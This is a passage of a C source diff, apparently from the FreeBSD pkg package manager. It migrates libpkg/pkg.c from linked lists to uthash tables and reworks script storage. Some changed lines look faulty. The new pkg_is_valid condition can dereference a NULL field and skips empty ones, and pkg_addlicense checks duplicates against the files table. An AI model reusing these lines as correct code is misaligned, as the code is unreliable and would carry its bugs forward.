			return ("tar");
+
	case TXZ:
+
		if (archive_write_set_compression_xz(a) == ARCHIVE_OK)
+
			return ("txz");
+
		else
+
			pkg_emit_error(notsupp_fmt, "xz", "bzip2");
+
	case TBZ:
+
		if (archive_write_set_compression_bzip2(a) == ARCHIVE_OK)
+
			return ("tbz");
+
		else
+
			pkg_emit_error(notsupp_fmt, "bzip2", "gzip");
+
	case TGZ:
+
		if (archive_write_set_compression_gzip(a) == ARCHIVE_OK)
+
			return ("tgz");
+
		else
+
			pkg_emit_error(notsupp_fmt, "gzip", "plain tar");
+
	case TAR:
+
		archive_write_set_compression_none(a);
+
		return ("tar");
	}
	return (NULL);
}
modified libpkg/pkg.c
@@ -1,6 +1,7 @@
/*
 * Copyright (c) 2011-2012 Baptiste Daroussin <bapt@FreeBSD.org>
 * Copyright (c) 2011-2012 Julien Laffaye <jlaffaye@FreeBSD.org>
+
 * Copyright (c) 2012 Bryan Drewery <bryan@shatow.net>
 * All rights reserved.
 * 
 * Redistribution and use in source and binary forms, with or without
@@ -68,18 +69,6 @@ pkg_new(struct pkg **pkg, pkg_t type)
		return EPKG_FATAL;
	}

-
	STAILQ_INIT(&(*pkg)->licenses);
-
	STAILQ_INIT(&(*pkg)->categories);
-
	STAILQ_INIT(&(*pkg)->deps);
-
	STAILQ_INIT(&(*pkg)->rdeps);
-
	STAILQ_INIT(&(*pkg)->files);
-
	STAILQ_INIT(&(*pkg)->dirs);
-
	STAILQ_INIT(&(*pkg)->scripts);
-
	STAILQ_INIT(&(*pkg)->options);
-
	STAILQ_INIT(&(*pkg)->users);
-
	STAILQ_INIT(&(*pkg)->groups);
-
	STAILQ_INIT(&(*pkg)->shlibs);
-

	(*pkg)->automatic = false;
	(*pkg)->type = type;
	(*pkg)->licenselogic = LICENSE_SINGLE;
@@ -98,6 +87,9 @@ pkg_reset(struct pkg *pkg, pkg_t type)
	for (i = 0; i < PKG_NUM_FIELDS; i++)
		sbuf_reset(pkg->fields[i]);

+
	for (i = 0; i < PKG_NUM_SCRIPTS; i++)
+
		sbuf_reset(pkg->scripts[i]);
+

	pkg->flatsize = 0;
	pkg->new_flatsize = 0;
	pkg->new_pkgsize = 0;
@@ -111,7 +103,6 @@ pkg_reset(struct pkg *pkg, pkg_t type)
	pkg_list_free(pkg, PKG_RDEPS);
	pkg_list_free(pkg, PKG_FILES);
	pkg_list_free(pkg, PKG_DIRS);
-
	pkg_list_free(pkg, PKG_SCRIPTS);
	pkg_list_free(pkg, PKG_OPTIONS);
	pkg_list_free(pkg, PKG_USERS);
	pkg_list_free(pkg, PKG_GROUPS);
@@ -130,13 +121,15 @@ pkg_free(struct pkg *pkg)
	for (int i = 0; i < PKG_NUM_FIELDS; i++)
		sbuf_free(pkg->fields[i]);

+
	for (int i = 0; i < PKG_NUM_SCRIPTS; i++)
+
		sbuf_free(pkg->scripts[i]);
+

	pkg_list_free(pkg, PKG_LICENSES);
	pkg_list_free(pkg, PKG_CATEGORIES);
	pkg_list_free(pkg, PKG_DEPS);
	pkg_list_free(pkg, PKG_RDEPS);
	pkg_list_free(pkg, PKG_FILES);
	pkg_list_free(pkg, PKG_DIRS);
-
	pkg_list_free(pkg, PKG_SCRIPTS);
	pkg_list_free(pkg, PKG_OPTIONS);
	pkg_list_free(pkg, PKG_USERS);
	pkg_list_free(pkg, PKG_GROUPS);
@@ -163,14 +156,16 @@ pkg_is_valid(struct pkg *pkg)
		return (EPKG_FATAL);
	}

+
	/* Ensure that required fields are set. */
	for (i = 0; i < PKG_NUM_FIELDS; i++) {
-
		if (fields[i].type & pkg->type && fields[i].optional == 0) {
-
			if (pkg->fields[i] == NULL || sbuf_get(pkg->fields[i])[0] == '\0') {
-
				pkg_emit_error("package field incomplete: %s",
-
				    fields[i].human_desc);
-
				return (EPKG_FATAL);
-
			}
-
		}
+
		if ((fields[i].type & pkg->type) == 0 ||
+
		    fields[i].optional ||
+
		    pkg->fields[i] != NULL ||
+
		    sbuf_get(pkg->fields[i])[0] != '\0')
+
			continue;
+
		pkg_emit_error("package field incomplete: %s",
+
		    fields[i].human_desc);
+
		return (EPKG_FATAL);
	}

	return (EPKG_OK);
@@ -183,35 +178,36 @@ pkg_vget(struct pkg const *const pkg, va_list ap)

	while ((attr = va_arg(ap, int)) > 0) {
		if (attr < PKG_NUM_FIELDS) {
-
			*va_arg(ap, const char **) = (pkg->fields[attr] != NULL)?
+
			const char **var = va_arg(ap, const char **);
+
			*var = (pkg->fields[attr] != NULL) ?
			    sbuf_get(pkg->fields[attr]) : NULL;
			continue;
		}
		switch (attr) {
-
			case PKG_FLATSIZE:
-
				*va_arg(ap, int64_t *) = pkg->flatsize;
-
				break;
-
			case PKG_NEW_FLATSIZE:
-
				*va_arg(ap, int64_t *) = pkg->new_flatsize;
-
				break;
-
			case PKG_NEW_PKGSIZE:
-
				*va_arg(ap, int64_t *) = pkg->new_pkgsize;
-
				break;
-
			case PKG_LICENSE_LOGIC:
-
				*va_arg(ap, lic_t *) = pkg->licenselogic;
-
				break;
-
			case PKG_AUTOMATIC:
-
				*va_arg(ap, bool *) = pkg->automatic;
-
				break;
-
			case PKG_TIME:
-
				*va_arg(ap, int64_t *) = pkg->time;
-
				break;
-
			case PKG_ROWID:
-
				*va_arg(ap, int64_t *) = pkg->rowid;
-
				break;
-
			default:
-
				va_arg(ap, void *); /* ignore */
-
				break;
+
		case PKG_FLATSIZE:
+
			*va_arg(ap, int64_t *) = pkg->flatsize;
+
			break;
+
		case PKG_NEW_FLATSIZE:
+
			*va_arg(ap, int64_t *) = pkg->new_flatsize;
+
			break;
+
		case PKG_NEW_PKGSIZE:
+
			*va_arg(ap, int64_t *) = pkg->new_pkgsize;
+
			break;
+
		case PKG_LICENSE_LOGIC:
+
			*va_arg(ap, lic_t *) = pkg->licenselogic;
+
			break;
+
		case PKG_AUTOMATIC:
+
			*va_arg(ap, bool *) = pkg->automatic;
+
			break;
+
		case PKG_TIME:
+
			*va_arg(ap, int64_t *) = pkg->time;
+
			break;
+
		case PKG_ROWID:
+
			*va_arg(ap, int64_t *) = pkg->rowid;
+
			break;
+
		default:
+
			va_arg(ap, void *); /* ignore */
+
			break;
		}
	}

@@ -233,10 +229,44 @@ pkg_get2(struct pkg const *const pkg, ...)
	return (ret);
}

+
const char *
+
pkg_name(struct pkg const *const pkg)
+
{
+
	assert(pkg != NULL);
+

+
	if (pkg->fields[PKG_NAME] != NULL)
+
		return (sbuf_get(pkg->fields[PKG_NAME]));
+
	else
+
		return (NULL);
+
}
+

+
const char *
+
pkg_version(struct pkg const *const pkg)
+
{
+
	assert(pkg != NULL);
+

+
	if (pkg->fields[PKG_VERSION] != NULL)
+
		return (sbuf_get(pkg->fields[PKG_VERSION]));
+
	else
+
		return (NULL);
+
}
+

+
static void
+
pkg_set_repourl(struct pkg *pkg, const char *str)
+
{
+
	struct pkg_config_kv *rkv = NULL;
+

+
	while (pkg_config_list(PKG_CONFIG_REPOS, &rkv) == EPKG_OK) {
+
		const char *key = pkg_config_kv_get(rkv, PKG_CONFIG_KV_KEY);
+
		const char *val = pkg_config_kv_get(rkv, PKG_CONFIG_KV_VALUE);
+
		if (strcmp(str, key) == 0)
+
			pkg_set(pkg, PKG_REPOURL, val);
+
	}
+
}
+

static int
pkg_vset(struct pkg *pkg, va_list ap)
{
-
	struct pkg_config_kv *repokv = NULL;
	bool multirepos_enabled = false;
	int attr;

@@ -259,41 +289,38 @@ pkg_vset(struct pkg *pkg, va_list ap)
				continue;
			}

-
			if (attr == PKG_REPONAME && multirepos_enabled) {
-
				while (pkg_config_list(PKG_CONFIG_REPOS, &repokv) == EPKG_OK) {
-
					if (strcmp(str, pkg_config_kv_get(repokv, PKG_CONFIG_KV_KEY)) == 0)
-
						pkg_set(pkg, PKG_REPOURL, pkg_config_kv_get(repokv, PKG_CONFIG_KV_VALUE));
-
				}
-
			}
+
			if (attr == PKG_REPONAME && multirepos_enabled)
+
				pkg_set_repourl(pkg, str);

			sbuf_set(sbuf, str);
			continue;
		}
		switch (attr) {
-
			case PKG_AUTOMATIC:
-
				pkg->automatic = (int)va_arg(ap, int64_t);
-
				break;
-
			case PKG_LICENSE_LOGIC:
-
				pkg->licenselogic = (lic_t)va_arg(ap, int64_t);
-
				break;
-
			case PKG_FLATSIZE:
-
				pkg->flatsize = va_arg(ap, int64_t);
-
				break;
-
			case PKG_NEW_FLATSIZE:
-
				pkg->new_flatsize = va_arg(ap, int64_t);
-
				break;
-
			case PKG_NEW_PKGSIZE:
-
				pkg->new_pkgsize = va_arg(ap, int64_t);
-
				break;
-
			case PKG_TIME:
-
				pkg->time = va_arg(ap, int64_t);
-
				break;
-
			case PKG_ROWID:
-
				pkg->rowid = va_arg(ap, int64_t);
-
				break;
-
			default:
-
				va_arg(ap, void *); /* ignore */
-
				break;
+
		case PKG_AUTOMATIC:
+
			pkg->automatic = (int)va_arg(ap, int64_t);
+
			break;
+
		case PKG_LICENSE_LOGIC:
+
			pkg->licenselogic = (lic_t)va_arg(ap, int64_t);
+
			break;
+
		case PKG_FLATSIZE:
+
			pkg->flatsize = va_arg(ap, int64_t);
+
			break;
+
		case PKG_NEW_FLATSIZE:
+
			pkg->new_flatsize = va_arg(ap, int64_t);
+
			break;
+
		case PKG_NEW_PKGSIZE:
+
			pkg->new_pkgsize = va_arg(ap, int64_t);
+
			break;
+
		case PKG_TIME:
+
			pkg->time = va_arg(ap, int64_t);
+
			break;
+
		case PKG_ROWID:
+
			pkg->rowid = va_arg(ap, int64_t);
+
			break;
+
		default:
+
			/* XXX emit an error? */
+
			(void) va_arg(ap, void *);
+
			break;
		}
	}

@@ -341,23 +368,12 @@ pkg_set_from_file(struct pkg *pkg, pkg_attr attr, const char *path)
	return (ret);
}

-
#define PKG_LIST_NEXT(head, data) do { \
-
		if (data == NULL) \
-
			data = STAILQ_FIRST(head); \
-
		else \
-
			data = STAILQ_NEXT(data, next); \
-
		if (data == NULL) \
-
			return (EPKG_END); \
-
		else \
-
			return (EPKG_OK); \
-
	} while (0)
-

int
pkg_licenses(struct pkg *pkg, struct pkg_license **l)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->licenses, *l);
+
	HASH_NEXT(pkg->licenses, (*l));
}

int
@@ -365,7 +381,7 @@ pkg_users(struct pkg *pkg, struct pkg_user **u)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->users, *u);
+
	HASH_NEXT(pkg->users, (*u));
}

int
@@ -373,7 +389,7 @@ pkg_groups(struct pkg *pkg, struct pkg_group **g)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->groups, *g);
+
	HASH_NEXT(pkg->groups, (*g));
}

int
@@ -381,7 +397,7 @@ pkg_deps(struct pkg *pkg, struct pkg_dep **d)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->deps, *d);
+
	HASH_NEXT(pkg->deps, (*d));
}

int
@@ -389,7 +405,7 @@ pkg_rdeps(struct pkg *pkg, struct pkg_dep **d)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->rdeps, *d);
+
	HASH_NEXT(pkg->rdeps, (*d));
}

int
@@ -397,7 +413,7 @@ pkg_files(struct pkg *pkg, struct pkg_file **f)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->files, *f);
+
	HASH_NEXT(pkg->files, (*f));
}

int
@@ -405,7 +421,7 @@ pkg_categories(struct pkg *pkg, struct pkg_category **c)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->categories, *c);
+
	HASH_NEXT(pkg->categories, (*c));
}

int
@@ -413,15 +429,7 @@ pkg_dirs(struct pkg *pkg, struct pkg_dir **d)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->dirs, *d);
-
}
-

-
int
-
pkg_scripts(struct pkg *pkg, struct pkg_script **s)
-
{
-
	assert(pkg != NULL);
-

-
	PKG_LIST_NEXT(&pkg->scripts, *s);
+
	HASH_NEXT(pkg->dirs, (*d));
}

int
@@ -429,7 +437,7 @@ pkg_options(struct pkg *pkg, struct pkg_option **o)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->options, *o);
+
	HASH_NEXT(pkg->options, (*o));
}

int
@@ -438,7 +446,7 @@ pkg_shlibs(struct pkg *pkg, struct pkg_shlib **s)
{
	assert(pkg != NULL);

-
	PKG_LIST_NEXT(&pkg->shlibs, *s);
+
	HASH_NEXT(pkg->shlibs, (*s));
}

int
@@ -450,25 +458,24 @@ pkg_addlicense(struct pkg *pkg, const char *name)
	assert(name != NULL && name[0] != '\0');
	const char *pkgname;

-
	if (pkg->licenselogic == LICENSE_SINGLE && !STAILQ_EMPTY(&pkg->licenses)) {
+
	if (pkg->licenselogic == LICENSE_SINGLE && HASH_COUNT(pkg->licenses) != 0) {
		pkg_get(pkg, PKG_NAME, &pkgname);
		pkg_emit_error("%s have a single license which is already set",
		    pkgname);
		return (EPKG_FATAL);
	}

-
	while (pkg_licenses(pkg, &l) != EPKG_END) {
-
		if (!strcmp(name, pkg_license_name(l))) {
-
			pkg_emit_error("duplicate license listing: %s, ignoring", name);
-
			return (EPKG_OK);
-
		}
+
	HASH_FIND_STR(pkg->files, __DECONST(char *, name), l);
+
	if (l != NULL) {
+
		pkg_emit_error("duplicate license listing: %s, ignoring", name);
+
		return (EPKG_OK);
	}

	pkg_license_new(&l);

-
	sbuf_set(&l->name, name);
+
	strlcpy(l->name, name, sizeof(l->name));

-
	STAILQ_INSERT_TAIL(&pkg->licenses, l, next);
+
	HASH_ADD_STR(pkg->licenses, name, l);

	return (EPKG_OK);
}
@@ -481,11 +488,10 @@ pkg_adduid(struct pkg *pkg, const char *name, const char *uidstr)
	assert(pkg != NULL);
	assert(name != NULL && name[0] != '\0');

-
	while (pkg_users(pkg, &u) != EPKG_END) {
-
		if (!strcmp(name, pkg_user_name(u))) {
-
			pkg_emit_error("duplicate user listing: %s, ignoring", name);
-
			return (EPKG_OK);
-
		}
+
	HASH_FIND_STR(pkg->users, __DECONST(char *, name), u);
+
	if (u != NULL) {
+
		pkg_emit_error("duplicate user listing: %s, ignoring", name);
+
		return (EPKG_OK);
	}

	pkg_user_new(&u);
@@ -497,7 +503,7 @@ pkg_adduid(struct pkg *pkg, const char *name, const char *uidstr)
	else
		u->uidstr[0] = '\0';

-
	STAILQ_INSERT_TAIL(&pkg->users, u, next);
+
	HASH_ADD_STR(pkg->users, name, u);

	return (EPKG_OK);
}
@@ -516,11 +522,10 @@ pkg_addgid(struct pkg *pkg, const char *name, const char *gidstr)
	assert(pkg != NULL);
	assert(name != NULL && name[0] != '\0');

-
	while (pkg_groups(pkg, &g) != EPKG_END) {
-
		if (!strcmp(name, pkg_group_name(g))) {
-
			pkg_emit_error("duplicate group listing: %s, ignoring", name);
-
			return (EPKG_OK);
-
		}
+
	HASH_FIND_STR(pkg->groups, __DECONST(char *, name), g);
+
	if (g != NULL) {
+
		pkg_emit_error("duplicate group listing: %s, ignoring", name);
+
		return (EPKG_OK);
	}

	pkg_group_new(&g);
@@ -531,7 +536,7 @@ pkg_addgid(struct pkg *pkg, const char *name, const char *gidstr)
	else
		g->gidstr[0] = '\0';

-
	STAILQ_INSERT_TAIL(&pkg->groups, g, next);
+
	HASH_ADD_STR(pkg->groups, name, g);

	return (EPKG_OK);
}
@@ -552,11 +557,10 @@ pkg_adddep(struct pkg *pkg, const char *name, const char *origin, const char *ve
	assert(origin != NULL && origin[0] != '\0');
	assert(version != NULL && version[0] != '\0');

-
	while (pkg_deps(pkg, &d) != EPKG_END) {
-
		if (!strcmp(origin, pkg_dep_get(d, PKG_DEP_ORIGIN))) {
-
			pkg_emit_error("duplicate dependency listing: %s-%s, ignoring", name, version);
-
			return (EPKG_OK);
-
		}
+
	HASH_FIND_STR(pkg->deps, __DECONST(char *, origin), d);
+
	if (d != NULL) {
+
		pkg_emit_error("duplicate dependency listing: %s-%s, ignoring", name, version);
+
		return (EPKG_OK);
	}

	pkg_dep_new(&d);
@@ -565,7 +569,7 @@ pkg_adddep(struct pkg *pkg, const char *name, const char *origin, const char *ve
	sbuf_set(&d->name, name);
	sbuf_set(&d->version, version);

-
	STAILQ_INSERT_TAIL(&pkg->deps, d, next);
+
	HASH_ADD_KEYPTR(hh, pkg->deps, __DECONST(char *, origin), strlen(origin), d);

	return (EPKG_OK);
}
@@ -586,7 +590,7 @@ pkg_addrdep(struct pkg *pkg, const char *name, const char *origin, const char *v
	sbuf_set(&d->name, name);
	sbuf_set(&d->version, version);

-
	STAILQ_INSERT_TAIL(&pkg->rdeps, d, next);
+
	HASH_ADD_KEYPTR(hh, pkg->rdeps, __DECONST(char *, origin), strlen(origin), d);

	return (EPKG_OK);
}
@@ -606,11 +610,10 @@ pkg_addfile_attr(struct pkg *pkg, const char *path, const char *sha256, const ch
	assert(path != NULL && path[0] != '\0');

	if (check_duplicates) {
-
		while (pkg_files(pkg, &f) != EPKG_END) {
-
			if (!strcmp(path, pkg_file_get(f, PKG_FILE_PATH))) {
-
				pkg_emit_error("duplicate file listing: %s, ignoring", pkg_file_get(f, PKG_FILE_PATH));
-
				return (EPKG_OK);
-
			}
+
		HASH_FIND_STR(pkg->files, __DECONST(char *, path), f);
+
		if (f != NULL) {
+
			pkg_emit_error("duplicate file listing: %s, ignoring", pkg_file_path(f));
+
			return (EPKG_OK);
		}
	}

@@ -629,7 +632,7 @@ pkg_addfile_attr(struct pkg *pkg, const char *path, const char *sha256, const ch
	if (perm != 0)
		f->perm = perm;

-
	STAILQ_INSERT_TAIL(&pkg->files, f, next);
+
	HASH_ADD_STR(pkg->files, path, f);

	return (EPKG_OK);
}
@@ -642,38 +645,38 @@ pkg_addcategory(struct pkg *pkg, const char *name)
	assert(pkg != NULL);
	assert(name != NULL && name[0] != '\0');

-
	while (pkg_categories(pkg, &c) == EPKG_OK) {
-
		if (strcmp(name, pkg_category_name(c)) == 0) {
-
			pkg_emit_error("duplicate category listing: %s, ignoring", name);
-
			return (EPKG_OK);
-
		}
+
	HASH_FIND_STR(pkg->categories, __DECONST(char *, name), c);
+
	if (c != NULL) {
+
		pkg_emit_error("duplicate category listing: %s, ignoring", name);
+
		return (EPKG_OK);
	}

	pkg_category_new(&c);

	sbuf_set(&c->name, name);

-
	STAILQ_INSERT_TAIL(&pkg->categories, c, next);
+
	HASH_ADD_KEYPTR(hh, pkg->categories, __DECONST(char *, name), strlen(name), c);

	return (EPKG_OK);
}

int
-
pkg_adddir(struct pkg *pkg, const char *path, bool try)
+
pkg_adddir(struct pkg *pkg, const char *path, bool try, bool check_duplicates)
{
-
	return(pkg_adddir_attr(pkg, path, NULL, NULL, 0, try));
+
	return(pkg_adddir_attr(pkg, path, NULL, NULL, 0, try, check_duplicates));
}

int
-
pkg_adddir_attr(struct pkg *pkg, const char *path, const char *uname, const char *gname, mode_t perm, bool try)
+
pkg_adddir_attr(struct pkg *pkg, const char *path, const char *uname, const char *gname, mode_t perm, bool try, bool check_duplicates)
{
	struct pkg_dir *d = NULL;

	assert(pkg != NULL);
	assert(path != NULL && path[0] != '\0');

-
	while (pkg_dirs(pkg, &d) == EPKG_OK) {
-
		if (strcmp(path, pkg_dir_path(d)) == 0) {
+
	if (check_duplicates) {
+
		HASH_FIND_STR(pkg->dirs, __DECONST(char *, path), d);
+
		if (d != NULL) {
			pkg_emit_error("duplicate directory listing: %s, ignoring", path);
			return (EPKG_OK);
		}
@@ -693,23 +696,19 @@ pkg_adddir_attr(struct pkg *pkg, const char *path, const char *uname, const char

	d->try = try;

-
	STAILQ_INSERT_TAIL(&pkg->dirs, d, next);
+
	HASH_ADD_STR(pkg->dirs, path, d);

	return (EPKG_OK);
}

int
-
pkg_addscript(struct pkg *pkg, const char *data, pkg_script_t type)
+
pkg_addscript(struct pkg *pkg, const char *data, pkg_script type)
{
-
	struct pkg_script *s;
+
	struct sbuf **sbuf;

	assert(pkg != NULL);
-

-
	pkg_script_new(&s);
-
	sbuf_set(&s->data, data);
-
	s->type = type;
-

-
	STAILQ_INSERT_TAIL(&pkg->scripts, s, next);
+
	sbuf = &pkg->scripts[type];
+
	sbuf_set(sbuf, data);

	return (EPKG_OK);
}
@@ -719,7 +718,7 @@ pkg_addscript_file(struct pkg *pkg, const char *path)
{
	char *filename;
	char *data;
-
	pkg_script_t type;
+
	pkg_script type;
	int ret = EPKG_OK;
	off_t sz = 0;

@@ -733,7 +732,7 @@ pkg_addscript_file(struct pkg *pkg, const char *path)
	filename[0] = '\0';
	filename++;

-
	if (strcmp(filename, "pkg-pre-install") == 0 || 
+
	if (strcmp(filename, "pkg-pre-install") == 0 ||
			strcmp(filename, "+PRE_INSTALL") == 0) {
		type = PKG_SCRIPT_PRE_INSTALL;
	} else if (strcmp(filename, "pkg-post-install") == 0 ||
@@ -771,31 +770,19 @@ pkg_addscript_file(struct pkg *pkg, const char *path)
}

int
-
pkg_appendscript(struct pkg *pkg, const char *cmd, pkg_script_t type)
+
pkg_appendscript(struct pkg *pkg, const char *cmd, pkg_script type)
{
-
	struct pkg_script *s = NULL;
+
	struct sbuf **s;

	assert(pkg != NULL);
	assert(cmd != NULL && cmd[0] != '\0');

-
	while (pkg_scripts(pkg, &s) == EPKG_OK) {
-
		if (pkg_script_type(s) == type) {
-
			break;
-
		}
-
	}
+
	if (pkg_script_get(pkg, type) == NULL)
+
		return (pkg_addscript(pkg, cmd, type));

-
	if (s != NULL) {
-
		sbuf_cat(s->data, cmd);
-
		sbuf_finish(s->data);
-
		return (EPKG_OK);
-
	}
-

-
	pkg_script_new(&s);
-
	sbuf_set(&s->data, cmd);
-

-
	s->type = type;
-

-
	STAILQ_INSERT_TAIL(&pkg->scripts, s, next);
+
	s = &pkg->scripts[type];
+
	sbuf_cat(*s, cmd);
+
	sbuf_finish(*s);

	return (EPKG_OK);
}
@@ -809,18 +796,17 @@ pkg_addoption(struct pkg *pkg, const char *key, const char *value)
	assert(key != NULL && key[0] != '\0');
	assert(value != NULL && value[0] != '\0');

-
	while (pkg_options(pkg, &o) != EPKG_END) {
-
		if (!strcmp(key, pkg_option_opt(o))) {
-
			pkg_emit_error("duplicate options listing: %s, ignoring", key);
-
			return (EPKG_OK);
-
		}
+
	HASH_FIND_STR(pkg->options, __DECONST(char *, key), o);
+
	if (o != NULL) {
+
		pkg_emit_error("duplicate options listing: %s, ignoring", key);
+
		return (EPKG_OK);
	}
	pkg_option_new(&o);

	sbuf_set(&o->key, key);
	sbuf_set(&o->value, value);

-
	STAILQ_INSERT_TAIL(&pkg->options, o, next);
+
	HASH_ADD_KEYPTR(hh, pkg->options, __DECONST(char *, key), strlen(key), o);

	return (EPKG_OK);
}
@@ -833,46 +819,44 @@ pkg_addshlib(struct pkg *pkg, const char *name)
	assert(pkg != NULL);
	assert(name != NULL && name[0] != '\0');

-
	while (pkg_shlibs(pkg, &s) == EPKG_OK) {
-
		/* silently ignore duplicates in case of shlibs */
-
		if (strcmp(name, pkg_shlib_name(s)) == 0)
-
			return (EPKG_OK);
-
	}
+
	HASH_FIND_STR(pkg->shlibs, __DECONST(char *, name), s);
+
	/* silently ignore duplicates in case of shlibs */
+
	if (s != NULL)
+
		return (EPKG_OK);

	pkg_shlib_new(&s);

	sbuf_set(&s->name, name);

-
	STAILQ_INSERT_TAIL(&pkg->shlibs, s, next);
+
	HASH_ADD_KEYPTR(hh, pkg->shlibs, __DECONST(char *, name), strlen(name), s);

	return (EPKG_OK);
}

int
-
pkg_list_is_empty(struct pkg *pkg, pkg_list list) {
+
pkg_list_count(struct pkg *pkg, pkg_list list)
+
{
	switch (list) {
-
		case PKG_DEPS:
-
			return (STAILQ_EMPTY(&pkg->deps));
-
		case PKG_RDEPS:
-
			return (STAILQ_EMPTY(&pkg->rdeps));
-
		case PKG_LICENSES:
-
			return (STAILQ_EMPTY(&pkg->licenses));
-
		case PKG_OPTIONS:
-
			return (STAILQ_EMPTY(&pkg->options));
-
		case PKG_CATEGORIES:
-
			return (STAILQ_EMPTY(&pkg->categories));
-
		case PKG_FILES:
-
			return (STAILQ_EMPTY(&pkg->files));
-
		case PKG_DIRS:
-
			return (STAILQ_EMPTY(&pkg->dirs));
-
		case PKG_USERS:
-
			return (STAILQ_EMPTY(&pkg->users));
-
		case PKG_GROUPS:
-
			return (STAILQ_EMPTY(&pkg->groups));
-
		case PKG_SCRIPTS:
-
			return (STAILQ_EMPTY(&pkg->scripts));
-
		case PKG_SHLIBS:
-
			return (STAILQ_EMPTY(&pkg->shlibs));
+
	case PKG_DEPS:
+
		return (HASH_COUNT(pkg->deps));
+
	case PKG_RDEPS:
+
		return (HASH_COUNT(pkg->rdeps));
+
	case PKG_LICENSES:
+
		return (HASH_COUNT(pkg->licenses));
+
	case PKG_OPTIONS:
+
		return (HASH_COUNT(pkg->options));
+
	case PKG_CATEGORIES:
+
		return (HASH_COUNT(pkg->categories));
+
	case PKG_FILES:
+
		return (HASH_COUNT(pkg->files));
+
	case PKG_DIRS:
+
		return (HASH_COUNT(pkg->dirs));
+
	case PKG_USERS:
+
		return (HASH_COUNT(pkg->users));
+
	case PKG_GROUPS:
+
		return (HASH_COUNT(pkg->groups));
+
	case PKG_SHLIBS:
+
		return (HASH_COUNT(pkg->shlibs));
	}
	
	return (0);
@@ -880,73 +864,58 @@ pkg_list_is_empty(struct pkg *pkg, pkg_list list) {

void
pkg_list_free(struct pkg *pkg, pkg_list list)  {
-
	struct pkg_dep *d;
-
	struct pkg_option *o;
-
	struct pkg_license *l;
-
	struct pkg_category *c;
-
	struct pkg_file *f;
-
	struct pkg_dir *dir;
-
	struct pkg_user *u;
-
	struct pkg_group *g;
-
	struct pkg_script *s;
-
	struct pkg_shlib *sl;
-

	switch (list) {
-
		case PKG_DEPS:
-
			LIST_FREE(&pkg->deps, d, pkg_dep_free);
-
			pkg->flags &= ~PKG_LOAD_DEPS;
-
			break;
-
		case PKG_RDEPS:
-
			LIST_FREE(&pkg->rdeps, d, pkg_dep_free);
-
			pkg->flags &= ~PKG_LOAD_RDEPS;
-
			break;
-
		case PKG_LICENSES:
-
			LIST_FREE(&pkg->licenses, l, pkg_license_free);
-
			pkg->flags &= ~PKG_LOAD_LICENSES;
-
			break;
-
		case PKG_OPTIONS:
-
			LIST_FREE(&pkg->options, o, pkg_option_free);
-
			pkg->flags &= ~PKG_LOAD_OPTIONS;
-
			break;
-
		case PKG_CATEGORIES:
-
			LIST_FREE(&pkg->categories, c, pkg_category_free);
-
			pkg->flags &= ~PKG_LOAD_CATEGORIES;
-
			break;
-
		case PKG_FILES:
-
			LIST_FREE(&pkg->files, f, pkg_file_free);
-
			pkg->flags &= ~PKG_LOAD_FILES;
-
			break;
-
		case PKG_DIRS:
-
			LIST_FREE(&pkg->dirs, dir, pkg_dir_free);
-
			pkg->flags &= ~PKG_LOAD_DIRS;
-
			break;
-
		case PKG_USERS:
-
			LIST_FREE(&pkg->users, u, pkg_user_free);
-
			pkg->flags &= ~PKG_LOAD_USERS;
-
			break;
-
		case PKG_GROUPS:
-
			LIST_FREE(&pkg->groups, g, pkg_group_free);
-
			pkg->flags &= ~PKG_LOAD_GROUPS;
-
			break;
-
		case PKG_SCRIPTS:
-
			LIST_FREE(&pkg->scripts, s, pkg_script_free);
-
			pkg->flags &= ~PKG_LOAD_SCRIPTS;
-
			break;
-
		case PKG_SHLIBS:
-
			LIST_FREE(&pkg->shlibs, sl, pkg_shlib_free);
-
			pkg->flags &= ~PKG_LOAD_SHLIBS;
-
			break;
+
	case PKG_DEPS:
+
		HASH_FREE(pkg->deps, pkg_dep, pkg_dep_free);
+
		pkg->flags &= ~PKG_LOAD_DEPS;
+
		break;
+
	case PKG_RDEPS:
+
		HASH_FREE(pkg->rdeps, pkg_dep, pkg_dep_free);
+
		pkg->flags &= ~PKG_LOAD_RDEPS;
+
		break;
+
	case PKG_LICENSES:
+
		HASH_FREE(pkg->licenses, pkg_license, pkg_license_free);
+
		pkg->flags &= ~PKG_LOAD_LICENSES;
+
		break;
+
	case PKG_OPTIONS:
+
		HASH_FREE(pkg->options, pkg_option, pkg_option_free);
+
		pkg->flags &= ~PKG_LOAD_OPTIONS;
+
		break;
+
	case PKG_CATEGORIES:
+
		HASH_FREE(pkg->categories, pkg_category, free);
+
		pkg->flags &= ~PKG_LOAD_CATEGORIES;
+
		break;
+
	case PKG_FILES:
+
		HASH_FREE(pkg->files, pkg_file, pkg_file_free);
+
		pkg->flags &= ~PKG_LOAD_FILES;
+
		break;
+
	case PKG_DIRS:
+
		HASH_FREE(pkg->dirs, pkg_dir, pkg_dir_free);
+
		pkg->flags &= ~PKG_LOAD_DIRS;
+
		break;
+
	case PKG_USERS:
+
		HASH_FREE(pkg->users, pkg_user, pkg_user_free);
+
		pkg->flags &= ~PKG_LOAD_USERS;
+
		break;
+
	case PKG_GROUPS:
+
		HASH_FREE(pkg->groups, pkg_group, pkg_group_free);
+
		pkg->flags &= ~PKG_LOAD_GROUPS;
+
		break;
+
	case PKG_SHLIBS:
+
		HASH_FREE(pkg->shlibs, pkg_shlib, pkg_shlib_free);
+
		pkg->flags &= ~PKG_LOAD_SHLIBS;
+
		break;
	}
}

int
-
pkg_open(struct pkg **pkg_p, const char *path, struct sbuf *mbuf)
+
pkg_open(struct pkg **pkg_p, const char *path)
{
	struct archive *a;
	struct archive_entry *ae;
	int ret;

-
	ret = pkg_open2(pkg_p, &a, &ae, path, mbuf);
+
	ret = pkg_open2(pkg_p, &a, &ae, path);

	if (ret != EPKG_OK && ret != EPKG_END)
		return (EPKG_FATAL);
@@ -957,13 +926,13 @@ pkg_open(struct pkg **pkg_p, const char *path, struct sbuf *mbuf)
}

int
-
